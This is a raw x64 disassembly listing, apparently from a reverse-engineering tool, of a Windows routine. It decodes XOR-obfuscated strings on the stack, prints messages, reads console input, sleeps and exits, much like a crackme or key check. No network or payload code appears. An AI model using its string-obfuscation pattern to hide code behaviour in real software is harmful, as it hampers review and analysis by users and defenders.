mov byte [rsp + 0x28], 0x39
mov al, 0x4c
mov cl, 0x4a
mov dl, 0x5c
mov r8b, 0x4b
mov r9b, 0x57
mov r10b, 0x58
mov r11b, 0x54
movzx edi, dl
xor esi, esi
xor al, 0x39
mov byte [rsp + 0x29], al
xor cl, 0x39
mov byte [rsp + 0x2a], cl
xor dl, 0x39
mov byte [rsp + 0x2b], dl
xor r8b, 0x39
mov byte [rsp + 0x2c], r8b
xor r9b, 0x39
mov byte [rsp + 0x2d], r9b
xor r10b, 0x39
mov byte [rsp + 0x2e], r10b
xor r11b, 0x39
mov byte [rsp + 0x2f], r11b
xor dil, 0x39
mov byte [rsp + 0x30], dil
mov byte [rsp + 0x31], sil
xorps xmm0, xmm0
movups xmmword [rsp + 0x6e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x6f0], xmm1
lea rax, [rsp + 0x29]
mov r8, r14
inc r8
cmp byte [rax + r8], sil
jne 0x7ff62735ecf5
lea rdx, [rsp + 0x29]
lea rcx, [rsp + 0x6e0]
call fcn.7ff627395700
nop
lea rdx, [0x7ff6274be3d8]
lea rcx, [rsp + 0x700]
call fcn.7ff627390f00
nop
lea rax, [rsp + 0x4e0]
mov qword [rsp + 0x900], rax
lea rax, [rsp + 0x720]
mov qword [rsp + 0x908], rax
lea rdx, [rsp + 0x900]
lea rcx, [rsp + 0x468]
call fcn.7ff62738f330
nop
lea r9, [fcn.7ff62735c3d0]
mov edx, 0x40
lea r8d, [rdx - 0x37]
lea rcx, [rsp + 0x4e0]
call fcn.7ff62745754c
nop
lea rcx, [rsp + 0x40]
call fcn.7ff627392b40
nop
lea rcx, [rsp + 0x498]
call fcn.7ff627392b40
nop
lea rcx, [rsp + 0xd8]
call fcn.7ff627392b40
nop
lea rcx, [rsp + 0x100]
call fcn.7ff627392b40
lea rdx, [rsp + 0x468]
lea rcx, [rsp + 0x900]
call fcn.7ff62738f490
mov r10, rax
movups xmm0, xmmword [0x7ff627496618]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [0x7ff627496628]
movups xmmword [rsp + 0x78], xmm1
movsd xmm0, qword [0x7ff627496638]
movsd qword [rsp + 0x88], xmm0
mov ecx, dword [0x7ff627496640]
mov dword [rsp + 0x90], ecx
mov r8d, ebx
mov esi, dword [0x7ff6274be1f8]
cmp esi, 2
jl 0x7ff62735ef45
movdqa xmm5, xmmword [0x7ff6274a44b0]
movdqa xmm4, xmmword [0x7ff6274a4540]
movdqa xmm6, xmmword [0x7ff6274a44d0]
movdqa xmm0, xmmword [0x7ff6274a45c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x6c]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff6274a4530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff6274a4530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x7ff62735ee40
cmp r8d, 0x2c
jge 0x7ff62735ef7f
movsxd rax, r8d
lea r9, [rsp + 0x68]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x7ff62735ef50
mov r8, r10
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x478]
call fcn.7ff6273ae0c0
mov rdi, rax
lea rax, [0x7ff6274c33a8]
cmp rax, rdi
je 0x7ff62735f01c
mov rcx, qword [0x7ff6274c33a8]
test rcx, rcx
je 0x7ff62735eff1
mov rdx, qword [0x7ff6274c33b8]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x7ff62735efda
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x7ff62735f055
mov rcx, r8
call fcn.7ff627457864
mov qword [0x7ff6274c33a8], rbx
xorps xmm0, xmm0
movdqu xmmword [0x7ff6274c33b0], xmm0
mov rax, qword [rdi]
mov qword [0x7ff6274c33a8], rax
mov rax, qword [rdi + 8]
mov qword [0x7ff6274c33b0], rax
mov rax, qword [rdi + 0x10]
mov qword [0x7ff6274c33b8], rax
mov qword [rdi], rbx
mov qword [rdi + 8], rbx
mov qword [rdi + 0x10], rbx
mov rcx, qword [rsp + 0x478]
test rcx, rcx
je 0x7ff62735f061
mov rdx, qword [rsp + 0x488]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff62735f05c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff62735f05c
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff627457864
mov rax, qword [0x7ff6274c33b0]
cmp qword [0x7ff6274c33a8], rax
jne 0x7ff62735f63d
mov ecx, 0x3e8
call qword [sym.imp.kernel32.dll_Sleep]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x38]
call fcn.7ff62735fcd0
movzx edx, byte [rax]
test dl, dl
je 0x7ff62735f09d
xor dl, 0x30
mov byte [rax], dl
mov rdx, rax
call fcn.7ff627393e80
mov r10, rax
xor r9d, r9d
mov edx, 0xff
mov r8d, edx
lea rcx, [rsp + 0x24]
call fcn.7ff627393c20
lea rdx, [rsp + 0x24]
lea rcx, [rsp + 0x60]
call fcn.7ff62735ae00
mov rdx, rax
mov rcx, r10
call fcn.7ff627393d80
mov r8, rax
lea rdx, [rsp + 0x448]
call fcn.7ff62735fd60
movzx ecx, byte [rax + 5]
test cl, cl
je 0x7ff62735f108
xor byte [rax], 0x30
xor byte [rax + 1], 0x31
xor byte [rax + 2], 0x32
xor byte [rax + 3], 0x33
xor byte [rax + 4], 0x34
xor cl, 0x35
mov byte [rax + 5], cl
mov rdx, rax
mov rcx, r8
call fcn.7ff627393e80
mov r10, rax
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rsp + 0x24]
call fcn.7ff627393c20
lea rdx, [rsp + 0x24]
lea rcx, [rsp + 0x440]
call fcn.7ff62735ae00
mov rdx, rax
mov rcx, r10
call fcn.7ff627393d80
mov r11, rax
lea rdx, [rsp + 0x140]
call fcn.7ff62735fdd0
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x7ff62735f2df
mov r8d, ebx
cmp esi, 2
jl 0x7ff62735f2a5
movdqa xmm5, xmmword [0x7ff6274a44b0]
movdqa xmm4, xmmword [0x7ff6274a4540]
movdqa xmm6, xmmword [0x7ff6274a44d0]
movdqa xmm0, xmmword [0x7ff6274a45c0]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff6274a4530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff6274a4530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x7ff62735f1a0
cmp r8d, 0x33
jge 0x7ff62735f2df
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x33
jl 0x7ff62735f2b0
mov rdx, r10
mov rcx, r11
call fcn.7ff627393e80
mov r8, rax
lea rdx, [rsp + 0x20]
call fcn.7ff62735fe10
movzx ecx, byte [rax + 1]
test cl, cl
je 0x7ff62735f308
xor byte [rax], 0x30
xor cl, 0x31
mov byte [rax + 1], cl
mov rdx, rax
mov rcx, r8
call fcn.7ff627393e80
mov r11, rax
lea rdx, [rsp + 0x68]
call fcn.7ff62735fe20
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x7ff62735f4af
mov r8d, ebx
cmp esi, 2
jl 0x7ff62735f475
movdqa xmm5, xmmword [0x7ff6274a44b0]
movdqa xmm4, xmmword [0x7ff6274a4540]
movdqa xmm6, xmmword [0x7ff6274a44d0]
movdqa xmm0, xmmword [0x7ff6274a45c0]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff6274a4530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff6274a4530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x7ff62735f370
cmp r8d, 0x2d
jge 0x7ff62735f4af
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x7ff62735f480
mov rdx, r10
mov rcx, r11
call fcn.7ff627393e80
mov r10, rax
lea rdx, [rsp + 0x28]
call fcn.7ff62735fe60
mov r9, rax
cmp byte [rax + 0xb], 0
je 0x7ff62735f60b
cmp esi, 2
jl 0x7ff62735f5da
movdqa xmm4, xmmword [0x7ff6274a4540]
movdqa xmm2, xmmword [0x7ff6274a44b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff6274a44d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff6274a4530]
packuswb xmm2, xmm2
mov eax, dword [0x7ff6274a45c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r9]
xorps xmm2, xmm0
movd dword [r9], xmm2
movdqa xmm3, xmmword [0x7ff6274a44c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff6274a44d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff6274a4530]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm2, xmm0
movd dword [r9 + 4], xmm2
mov ebx, 8
movsxd r8, ebx
add r8, r9
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x30
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xc
jl 0x7ff62735f5e0
mov rdx, r9
mov rcx, r10
call fcn.7ff627393e80
lea rdx, [0x7ff6273942a0]
mov rcx, rax
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___class_std::basic_istream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_istream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.ucrtbase.dll_exit]
int3
lea rcx, [rsp + 0x7a0]
call fcn.7ff6273b0380
nop
mov byte [rsp + 0x20], 0x3a
mov al, 0x30
xor ecx, ecx
xor al, 0x3a
mov byte [rsp + 0x21], al
mov byte [rsp + 0x22], cl
mov ecx, 0xa
call qword [sym.imp.kernel32.dll_Sleep]
mov rdi, rbx
lea rax, [rsp + 0x21]
inc r14
cmp byte [rax + r14], bl
jne 0x7ff62735f671
test r14, r14
je 0x7ff62735f6a4
nop
mov ecx, 0xa
call qword [sym.imp.kernel32.dll_Sleep]
movzx edx, byte [rsp + rdi + 0x21]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.7ff6273d0d40
inc rdi
cmp rdi, r14
jb 0x7ff62735f680
mov byte [rsp + 0x38], 0
lea rdx, [rsp + 0x38]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.7ff627393e80
mov word [rsp + 0x24], 0xff00
mov byte [rsp + 0x26], 0
lea rdx, [rsp + 0x24]
mov rcx, rax
call fcn.7ff627393d80
mov ecx, dword [0x7ff62749f8b0]
mov dword [rsp + 0x440], ecx
movzx ecx, word [0x7ff62749f8b4]
mov word [rsp + 0x444], cx
mov byte [rsp + 0x440], 0x20
xor byte [rsp + 0x441], 0x31
xor byte [rsp + 0x442], 0x32
xor byte [rsp + 0x443], 0x33
xor cl, 0x34
mov byte [rsp + 0x444], cl
xor byte [rsp + 0x445], 0x35
lea rdx, [rsp + 0x440]
mov rcx, rax
call fcn.7ff627393e80
mov word [rsp + 0x24], 0xff00
mov byte [rsp + 0x26], 0
lea rdx, [rsp + 0x24]
mov rcx, rax
call fcn.7ff627393d80
mov r9, rax
movups xmm0, xmmword [0x7ff62749f840]
movups xmmword [rsp + 0x900], xmm0
movsd xmm0, qword [0x7ff62749f850]
movsd qword [rsp + 0x910], xmm0
mov ecx, dword [0x7ff62749f858]
mov dword [rsp + 0x918], ecx
movzx ecx, byte [0x7ff62749f85c]
mov byte [rsp + 0x91c], cl
cmp esi, 2
jl 0x7ff62735f8c5
movdqa xmm5, xmmword [0x7ff6274a44b0]
movdqa xmm4, xmmword [0x7ff6274a4540]
movdqa xmm6, xmmword [0x7ff6274a44d0]
movdqa xmm0, xmmword [0x7ff6274a45c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x904]
mov edx, dword [rsp + 0x40]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff6274a4530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff6274a4530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x18
jl 0x7ff62735f7c3
cmp eax, 0x1d
jge 0x7ff62735f90b
movsxd rax, ebx
lea r8, [rsp + 0x900]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x30
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x1d
jl 0x7ff62735f8e0
lea rdx, [rsp + 0x900]
mov rcx, r9
call fcn.7ff627393e80
movzx ecx, word [0x7ff62749f100]
mov word [rsp + 0x20], cx
cmp byte [0x7ff62749f101], 0
je 0x7ff62735f93a
mov byte [rsp + 0x20], 0xa
xor byte [rsp + 0x21], 0x31
lea rdx, [rsp + 0x20]
mov rcx, rax
call fcn.7ff627393e80
mov word [rsp + 0x24], 0xffff
mov byte [rsp + 0x26], 0xff
lea rdx, [rsp + 0x24]
mov rcx, rax
call fcn.7ff627393d80
lea rdx, [0x7ff6273942a0]
mov rcx, rax
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___class_std::basic_istream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_istream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x7a0]
call fcn.7ff627392b40
nop
mov r8, qword [rsp + 0x468]
mov r8, qword [r8 + 8]
lea rdx, [rsp + 0x468]
lea rcx, [rsp + 0x468]
call fcn.7ff62739b480
mov edx, 0x60
mov rcx, qword [rsp + 0x468]
call fcn.7ff627457864
nop
lea rcx, [rsp + 0x4b8]
call fcn.7ff627392b40
mov rcx, qword [rsp + 0x920]
xor rcx, rsp
call fcn.7ff6274574f0
lea r11, [rsp + 0x940]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
ret
mov ecx, 0x3e8
call qword [sym.imp.kernel32.dll_Sleep]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x38]
call fcn.7ff62735fcd0
movzx edx, byte [rax]
test dl, dl
je 0x7ff62735fa1f
xor dl, 0x30
mov byte [rax], dl
mov rdx, rax
call fcn.7ff627393e80
mov r10, rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xff
lea rcx, [rsp + 0x24]
call fcn.7ff627393c20
lea rdx, [rsp + 0x24]
lea rcx, [rsp + 0x440]
call fcn.7ff62735ae00
mov rdx, rax
mov rcx, r10
call fcn.7ff627393d80
mov r8, rax
lea rdx, [rsp + 0x448]
call fcn.7ff62735fce0
movzx ecx, byte [rax + 5]
test cl, cl
je 0x7ff62735fa8d
xor byte [rax], 0x30
xor byte [rax + 1], 0x31
xor byte [rax + 2], 0x32
xor byte [rax + 3], 0x33
xor byte [rax + 4], 0x34
xor cl, 0x35
mov byte [rax + 5], cl
mov rdx, rax
mov rcx, r8
call fcn.7ff627393e80
mov r10, rax
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rsp + 0x24]
call fcn.7ff627393c20
lea rdx, [rsp + 0x24]
lea rcx, [rsp + 0x60]
call fcn.7ff62735ae00
mov rdx, rax
mov rcx, r10
call fcn.7ff627393d80
mov r10, rax
lea rdx, [rsp + 0x68]
call fcn.7ff62735fd00
mov r9, rax
cmp byte [rax + 0x3c], 0
je 0x7ff62735fc5b
cmp edi, 2
jl 0x7ff62735fc22
movdqa xmm5, xmmword [0x7ff6274a44b0]
movdqa xmm4, xmmword [0x7ff6274a4540]
movdqa xmm6, xmmword [0x7ff6274a44d0]
movdqa xmm0, xmmword [0x7ff6274a45c0]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff6274a4530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff6274a4530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x38
jl 0x7ff62735fb20
cmp eax, 0x3d
jge 0x7ff62735fc5b
movsxd r8, ebx
add r8, r9
nop dword [rax + rax]
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x30
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x3d
jl 0x7ff62735fc30
mov rdx, r9
mov rcx, r10
call fcn.7ff627393e80
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
mov ecx, esi
call qword [sym.imp.ucrtbase.dll_exit]
nop
lea rdx, [0x7ff6274a3b48]
lea rcx, [rsp + 0x410]
call fcn.7ff627357eb0
lea rdx, [0x7ff6274b9238]
lea rcx, [rsp + 0x410]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, [0x7ff6274a3b48]
lea rcx, [rsp + 0x428]
call fcn.7ff627357eb0
lea rdx, [0x7ff6274b9238]
lea rcx, [rsp + 0x428]
call sub.VCRUNTIME140.dll__CxxThrowException
int3